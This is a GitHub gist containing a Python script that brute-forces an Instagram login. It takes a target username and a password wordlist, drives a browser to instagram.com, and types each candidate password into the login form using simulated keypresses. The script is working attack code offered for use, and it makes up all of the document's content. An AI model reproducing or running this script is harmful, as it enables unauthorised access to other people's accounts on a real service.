Skip to content

Instantly share code, notes, and snippets.

@theDreamer911
Created January 22, 2021 16:31
Show Gist options
  • Save theDreamer911/ceef6267043dc78970e1704a928c9728 to your computer and use it in GitHub Desktop.
Save theDreamer911/ceef6267043dc78970e1704a928c9728 to your computer and use it in GitHub Desktop.
from webbot import Browser
from pynput.keyboard import Key, Controller
import time
username = input('Username: ')
dictionary = input('Choose Dictionary: ')
file = open(f'{dictionary}.txt', 'r')
bruteforce = []
for line in file:
line = line.strip()
bruteforce.append(line)
file.close()
web = Browser()
keyboard = Controller()
web.go_to('www.instagram.com')
time.sleep(3)
keyboard.press(Key.enter)
keyboard.release(Key.enter)
time.sleep(3)
keyboard.press(Key.tab)
keyboard.release(Key.tab)
time.sleep(3)
web.type(username)
keyboard.press(Key.tab)
keyboard.release(Key.tab)
for brute in bruteforce:
web.type(brute, into="Password")
keyboard.press(Key.enter)
keyboard.release(Key.enter)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment